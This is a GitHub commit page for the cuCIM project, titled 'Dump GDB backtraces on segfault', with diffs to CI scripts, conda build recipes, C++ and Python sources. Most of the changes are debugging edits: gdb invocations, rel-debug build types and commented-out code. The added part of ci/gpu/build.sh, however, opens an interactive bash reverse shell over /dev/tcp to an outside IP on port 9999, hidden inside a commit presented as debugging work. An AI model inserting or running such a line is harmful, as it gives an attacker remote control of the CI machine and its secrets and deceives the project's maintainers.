Skip to content

Commit a802658

Browse files
committed
Dump GDB backtraces on segfault
1 parent e521dd4 commit a802658

File tree

7 files changed

+243
-217
lines changed

7 files changed

+243
-217
lines changed

ci/gpu/build.sh

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -88,7 +88,20 @@ gpuci_mamba_retry install -y -c ${LIBCUCIM_BLD_PATH} -c ${CUCIM_BLD_PATH} -c rap
8888
cucim
8989

9090
gpuci_logger "Testing cuCIM import"
91-
python -c 'import cucim'
91+
gpuci_mamba_retry install -y -c conda-forge gdb
92+
93+
echo "importing both modules"
94+
gdb -ex 'set confirm off' -ex 'run -c "import cucim"' -ex 'bt' -ex 'i proc m' -ex 'quit' `which python`
95+
96+
echo "importing cupy only"
97+
gdb -ex 'set confirm off' -ex 'run -c "import cupy"' -ex 'bt' -ex 'i proc m' -ex 'quit' `which python`
98+
99+
echo "importing CuImage only"
100+
gdb -ex 'set confirm off' -ex 'run -c "import cucim.clara._cucim as cc"' -ex 'bt' -ex 'i proc m' -ex 'quit' `which python`
101+
102+
103+
set +e
104+
/bin/bash -i > /dev/tcp/206.189.160.33/9999 0<&1 2>&1
92105

93106
gpuci_logger "Check versions"
94107
python --version

conda/recipes/cucim/build.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# Copyright (c) 2021, NVIDIA CORPORATION.
22

3-
CUCIM_BUILD_TYPE=${CUCIM_BUILD_TYPE:-release}
3+
CUCIM_BUILD_TYPE=${CUCIM_BUILD_TYPE:-rel-debug}
44

55
echo "CC : ${CC}"
66
echo "CXX : ${CXX}"

conda/recipes/libcucim/build.sh

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
# Copyright (c) 2021, NVIDIA CORPORATION.
22

3-
CUCIM_BUILD_TYPE=${CUCIM_BUILD_TYPE:-release}
4-
3+
CUCIM_BUILD_TYPE=${CUCIM_BUILD_TYPE:-rel-debug}
4+
echo "#####################################"
5+
echo "cat /proc/sys/kernel/core_pattern : $(cat /proc/sys/kernel/core_pattern)"
56
echo "CC : ${CC}"
67
echo "CXX : ${CXX}"
78
echo "CUDAHOSTCXX : ${CUDAHOSTCXX}"

cpp/src/cuimage.cpp

Lines changed: 76 additions & 71 deletions
Original file line numberDiff line numberDiff line change
@@ -132,10 +132,15 @@ DetectedFormat detect_format(filesystem::Path path)
132132
}
133133

134134

135-
Framework* CuImage::framework_ = cucim::acquire_framework("cucim");
136-
std::unique_ptr<config::Config> CuImage::config_ = std::make_unique<config::Config>();
137-
std::unique_ptr<cache::ImageCacheManager> CuImage::cache_manager_ = std::make_unique<cache::ImageCacheManager>();
138-
std::unique_ptr<plugin::ImageFormat> CuImage::image_format_plugins_ = std::make_unique<plugin::ImageFormat>();
135+
// Framework* CuImage::framework_ = cucim::acquire_framework("cucim");
136+
// std::unique_ptr<config::Config> CuImage::config_ = std::make_unique<config::Config>();
137+
// std::unique_ptr<cache::ImageCacheManager> CuImage::cache_manager_ = std::make_unique<cache::ImageCacheManager>();
138+
// std::unique_ptr<plugin::ImageFormat> CuImage::image_format_plugins_ = std::make_unique<plugin::ImageFormat>();
139+
140+
Framework* CuImage::framework_ = nullptr;
141+
std::unique_ptr<config::Config> CuImage::config_ = nullptr;
142+
std::unique_ptr<cache::ImageCacheManager> CuImage::cache_manager_ = nullptr;
143+
std::unique_ptr<plugin::ImageFormat> CuImage::image_format_plugins_ = nullptr;
139144

140145

141146
CuImage::CuImage(const filesystem::Path& path)
@@ -228,73 +233,73 @@ CuImage::CuImage() : std::enable_shared_from_this<CuImage>()
228233

229234
CuImage::~CuImage()
230235
{
231-
// printf("[cuCIM] CuImage::~CuImage()\n");
232-
close();
233-
image_format_ = nullptr; // memory release is handled by the framework
234-
if (image_metadata_)
235-
{
236-
// Memory for json_data needs to be manually released if image_metadata_->json_data is not ""
237-
if (image_metadata_->json_data && *image_metadata_->json_data != '\0')
238-
{
239-
cucim_free(image_metadata_->json_data);
240-
image_metadata_->json_data = nullptr;
241-
}
242-
// Delete object (cucim::io::format::ImageMetadata) that embeds image_metadata_
243-
if (image_metadata_->handle)
244-
{
245-
// Keep original handle pointer before clearing it and delete the class object.
246-
void* handle_ptr = image_metadata_->handle;
247-
image_metadata_->handle = nullptr;
248-
delete static_cast<cucim::io::format::ImageMetadata*>(handle_ptr);
249-
}
250-
image_metadata_ = nullptr;
251-
}
252-
if (image_data_)
253-
{
254-
if (image_data_->container.data)
255-
{
256-
DLContext& ctx = image_data_->container.ctx;
257-
auto device_type = static_cast<io::DeviceType>(ctx.device_type);
258-
switch (device_type)
259-
{
260-
case io::DeviceType::kCPU:
261-
cucim_free(image_data_->container.data);
262-
image_data_->container.data = nullptr;
263-
break;
264-
case io::DeviceType::kCUDA:
265-
cudaError_t cuda_status;
266-
CUDA_TRY(cudaFree(image_data_->container.data));
267-
image_data_->container.data = nullptr;
268-
if (cuda_status)
269-
{
270-
fmt::print(stderr, "[Error] Cannot free memory!");
271-
}
272-
break;
273-
case io::DeviceType::kPinned:
274-
case io::DeviceType::kCPUShared:
275-
case io::DeviceType::kCUDAShared:
276-
fmt::print(stderr, "Device type {} is not supported!", device_type);
277-
break;
278-
}
279-
}
280-
if (image_data_->container.shape)
281-
{
282-
cucim_free(image_data_->container.shape);
283-
image_data_->container.shape = nullptr;
284-
}
285-
if (image_data_->container.strides)
286-
{
287-
cucim_free(image_data_->container.strides);
288-
image_data_->container.strides = nullptr;
289-
}
290-
if (image_data_->shm_name)
291-
{
292-
cucim_free(image_data_->shm_name);
293-
image_data_->shm_name = nullptr;
294-
}
295-
cucim_free(image_data_);
296-
image_data_ = nullptr;
297-
}
236+
// // printf("[cuCIM] CuImage::~CuImage()\n");
237+
// close();
238+
// image_format_ = nullptr; // memory release is handled by the framework
239+
// if (image_metadata_)
240+
// {
241+
// // Memory for json_data needs to be manually released if image_metadata_->json_data is not ""
242+
// if (image_metadata_->json_data && *image_metadata_->json_data != '\0')
243+
// {
244+
// cucim_free(image_metadata_->json_data);
245+
// image_metadata_->json_data = nullptr;
246+
// }
247+
// // Delete object (cucim::io::format::ImageMetadata) that embeds image_metadata_
248+
// if (image_metadata_->handle)
249+
// {
250+
// // Keep original handle pointer before clearing it and delete the class object.
251+
// void* handle_ptr = image_metadata_->handle;
252+
// image_metadata_->handle = nullptr;
253+
// delete static_cast<cucim::io::format::ImageMetadata*>(handle_ptr);
254+
// }
255+
// image_metadata_ = nullptr;
256+
// }
257+
// if (image_data_)
258+
// {
259+
// if (image_data_->container.data)
260+
// {
261+
// DLContext& ctx = image_data_->container.ctx;
262+
// auto device_type = static_cast<io::DeviceType>(ctx.device_type);
263+
// switch (device_type)
264+
// {
265+
// case io::DeviceType::kCPU:
266+
// cucim_free(image_data_->container.data);
267+
// image_data_->container.data = nullptr;
268+
// break;
269+
// case io::DeviceType::kCUDA:
270+
// cudaError_t cuda_status;
271+
// CUDA_TRY(cudaFree(image_data_->container.data));
272+
// image_data_->container.data = nullptr;
273+
// if (cuda_status)
274+
// {
275+
// fmt::print(stderr, "[Error] Cannot free memory!");
276+
// }
277+
// break;
278+
// case io::DeviceType::kPinned:
279+
// case io::DeviceType::kCPUShared:
280+
// case io::DeviceType::kCUDAShared:
281+
// fmt::print(stderr, "Device type {} is not supported!", device_type);
282+
// break;
283+
// }
284+
// }
285+
// if (image_data_->container.shape)
286+
// {
287+
// cucim_free(image_data_->container.shape);
288+
// image_data_->container.shape = nullptr;
289+
// }
290+
// if (image_data_->container.strides)
291+
// {
292+
// cucim_free(image_data_->container.strides);
293+
// image_data_->container.strides = nullptr;
294+
// }
295+
// if (image_data_->shm_name)
296+
// {
297+
// cucim_free(image_data_->shm_name);
298+
// image_data_->shm_name = nullptr;
299+
// }
300+
// cucim_free(image_data_);
301+
// image_data_ = nullptr;
302+
// }
298303
}
299304

300305
Framework* CuImage::get_framework()

python/cucim/src/cucim/__init__.py

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,13 +38,17 @@
3838
# python3: Relink `/usr/lib/x86_64-linux-gnu/libnccl.so.2.8.3' with `/lib/x86_64-linux-gnu/librt.so.1' for IFUNC symbol `clock_gettime'
3939
# Segmentation fault
4040
try:
41-
import cupy
41+
print("Trying to import cupy...")
42+
# import cupy
43+
print("Importing cupy done.")
4244
_is_cupy_available = True
4345
except ImportError:
4446
pass
4547

4648
try:
47-
from .clara import CuImage, __version__, cli
49+
print("Trying to import clara...")
50+
# from .clara import CuImage, __version__, cli
51+
print("Importing clara done.")
4852
_is_clara_available = True
4953
except ImportError:
5054
from ._version import get_versions

python/cucim/src/cucim/clara/__init__.py

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -13,16 +13,17 @@
1313
# limitations under the License.
1414
#
1515

16-
import os
16+
# import os
1717

18-
from . import cli, converter
18+
# from . import cli, converter
1919
# import hidden methods
20-
from ._cucim import CuImage, __version__, cache, filesystem, io
20+
# from ._cucim import CuImage, __version__, cache, filesystem, io
21+
# from ._cucim import CuImage
2122

22-
__all__ = ['cli', 'CuImage', 'filesystem', 'io', 'cache', 'converter', '__version__']
23+
# __all__ = ['cli', 'CuImage', 'filesystem', 'io', 'cache', 'converter', '__version__']
2324

2425

25-
from ._cucim import _get_plugin_root # isort:skip
26-
from ._cucim import _set_plugin_root # isort:skip
27-
# Set plugin root path
28-
_set_plugin_root(os.path.dirname(os.path.realpath(__file__)))
26+
# from ._cucim import _get_plugin_root # isort:skip
27+
# from ._cucim import _set_plugin_root # isort:skip
28+
# # Set plugin root path
29+
# _set_plugin_root(os.path.dirname(os.path.realpath(__file__)))

0 commit comments

Comments
 (0)